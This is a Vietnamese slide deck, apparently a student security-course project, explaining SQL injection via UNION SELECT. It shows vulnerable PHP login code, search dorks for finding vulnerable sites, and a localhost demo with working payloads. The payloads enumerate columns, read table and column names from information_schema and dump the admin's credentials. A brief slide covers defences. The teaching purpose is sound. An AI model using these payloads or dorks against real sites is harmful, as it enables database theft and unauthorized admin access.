27
Nguyễn Danh Thanh TẤN CÔNG SQL INJECTION QUA CÂU LỆNH SELECT, UNION

Tấn công sql injection sử dụng câu lệnh select union

Embed Size (px)

DESCRIPTION

Tấn công sql injection sử dụng câu lệnh select union - Đề tài môn an toàn thông tin

Citation preview

Page 1: Tấn công sql injection sử dụng câu lệnh select union

Nguyễn Danh Thanh

TẤN CÔNG SQL INJECTION QUA

CÂU LỆNH SELECT, UNION

Page 2: Tấn công sql injection sử dụng câu lệnh select union

Nội dung

• Mục đích tấn công• Cơ chế tấn công• Phương thức tấn công• Cách phòng chống• Demo

Page 3: Tấn công sql injection sử dụng câu lệnh select union

Mục đích tấn công

• Đánh cắp dữ liệu từ web server• Thay đổi dữ liệu• Deface website• Backdoor

Page 4: Tấn công sql injection sử dụng câu lệnh select union

Nội dung

• Mục đích tấn công• Cơ chế tấn công• Phương thức tấn công• Cách phòng chống• Demo

Page 5: Tấn công sql injection sử dụng câu lệnh select union

Cơ chế tấn công

Page 6: Tấn công sql injection sử dụng câu lệnh select union

• Lợi dụng lỗ hổng trong việc kiểm tra thông tin đầu vào<form action="" method="post">

Tài khoản: <input type="text" name=“user">Mật khẩu: <input type="password" name=“pass"><input type="submit“ value=“Đăng nhập”>

</form>

<?php$user=$_POST[‘user’];$pass=$_POST[‘pass’];$sql=“SELECT * FROM tbl_user WHERE

user=‘$user’ && pass=‘$pass’”;$query=mysql_query($sql);

Page 7: Tấn công sql injection sử dụng câu lệnh select union

$sql=“SELECT * FROM tbl_user WHERE user=‘0’ or ‘1’=‘1’--’ && pass=‘123456’”;

Page 8: Tấn công sql injection sử dụng câu lệnh select union

• Thông báo lỗi của hệ quản trị CSDL– Mysql_fetch_array();– Database query failed…– You have an error in your SQL systax…

Page 9: Tấn công sql injection sử dụng câu lệnh select union

Nội dung

• Mục đích tấn công• Cơ chế tấn công• Phương thức tấn công• Cách phòng chống• Demo

Page 10: Tấn công sql injection sử dụng câu lệnh select union

Phương thức tấn công

• Các dork ( Từ khóa tìm site bị lỗi)– index.php?id=– news.php id=– article.php?id=– games.php?id=– opinions.php?id=– pages.php?id=– prod_detail.php?id=– view.php?id=………….

Page 11: Tấn công sql injection sử dụng câu lệnh select union

• Các bước tấn công sử dụng lệnh union select

– Kiểm tra lỗi sql injection.– Tìm số cột mà câu truy vấn tạo ra.– Tìm cột chứa thông tin có thể khai thác được.– Xem phiên bản của CSDL và ngôn ngữ lập trình.– Xác định tên bảng chứa thông tin người quản trị.– Xác định tài khoản/mật khẩu của quản trị.– Truy cập vào phần giành cho quản trị viên.

Page 12: Tấn công sql injection sử dụng câu lệnh select union

Nội dung

• Mục đích tấn công• Cơ chế tấn công• Phương thức tấn công• Cách phòng chống• Demo

Page 13: Tấn công sql injection sử dụng câu lệnh select union

Cách phòng chống

• Phòng chống từ mức xây dựng mã nguồn ứng dụng– Whilelist– Backlist

• Bảo vệ từ mức nền tảng của hệ thống

Page 14: Tấn công sql injection sử dụng câu lệnh select union

Nội dung

• Mục đích tấn công• Cơ chế tấn công• Phương thức tấn công• Cách phòng chống• Demo

Page 15: Tấn công sql injection sử dụng câu lệnh select union

Demo

• Công cụ hỗ trợ– Add-on hackBar.– Web Admin Finder V2.0.– Google.

Page 16: Tấn công sql injection sử dụng câu lệnh select union

Mục tiêu tấn công

Page 17: Tấn công sql injection sử dụng câu lệnh select union
Page 18: Tấn công sql injection sử dụng câu lệnh select union

Tìm số cột mà câu truy vấn SQL tạo ra

http://localhost/maytinh/?frame=product_detail&id=289 order by 15-- -

Page 19: Tấn công sql injection sử dụng câu lệnh select union

Xác định vị trí xảy ra lỗihttp://localhost/maytinh/?frame=product_detail&id=-289 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--

Page 20: Tấn công sql injection sử dụng câu lệnh select union

Xác định phiên bản ngôn ngữ lập trình

http://localhost/maytinh/?frame=product_detail&id=-289 union select 1,2,3,4,5,version(),7,8,9,10,11,12,13,14,15--

Page 21: Tấn công sql injection sử dụng câu lệnh select union

Xác định tên các bảng trong CSDL

http://localhost/maytinh/?frame=product_detail&id=-289 union select 1,2,3,4,5,unhex(hex(group_concat('\n',table_name))),7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database()--

Page 22: Tấn công sql injection sử dụng câu lệnh select union

Xác đinh các cột trong bảng tbl_user

http://localhost/maytinh/?frame=product_detail&id=-289 union select 1,2,3,4,5,unhex(hex(group_concat('\n',column_name))),7,8,9,10,11,12,13,14,15 from information_schema.columns where table_name=0x74626c5f75736572--

Page 23: Tấn công sql injection sử dụng câu lệnh select union

Xác định thông tin username, password của Admin

http://localhost/maytinh/?frame=product_detail&id=-289 union select 1,2,3,4,5,unhex(hex(group_concat(id,0x7c,uid,0x7c,pwd))), 7,8,9,10,11,12,13,14,15 from tbl_user--

Page 24: Tấn công sql injection sử dụng câu lệnh select union

Password: thietkewebx.net

Page 25: Tấn công sql injection sử dụng câu lệnh select union

Tìm đường dẫn trang quản trị

Localhost/maytinh/admin

Page 26: Tấn công sql injection sử dụng câu lệnh select union
Page 27: Tấn công sql injection sử dụng câu lệnh select union